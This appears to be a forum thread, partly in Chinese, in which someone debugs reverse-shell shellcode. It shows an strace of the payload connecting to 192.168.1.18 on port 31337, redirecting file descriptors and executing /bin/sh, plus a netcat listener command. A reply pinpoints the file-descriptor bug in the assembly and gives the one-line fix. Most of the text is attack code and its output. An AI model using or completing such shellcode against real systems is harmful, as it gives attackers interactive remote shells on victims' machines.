execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "7ELF[=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=]03[=14=]04[=14=][=14=][=14=]"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "7ELF[=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=][=14=]03[=14=]04[=14=][=14=][=14=]"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192) = 5
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
在"nc -lvvp31337"中:
arget@kali:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50779 exit sent 5, rcvd 0 arget@kali:~$
有人知道问题出在哪里吗??
从您提供的 strace
输出中可以明显看出错误:
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
shellcode 在 fd 5
打开套接字,然后继续使用 fd 3
。发生这种情况是因为:
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
这部分将 bl
设置为 3
,稍后也将用于文件描述符。由于之前已将正确的 fd 保存到 esi
,您可以在 bucle
标签之前执行 mov ebx, esi
来修复它。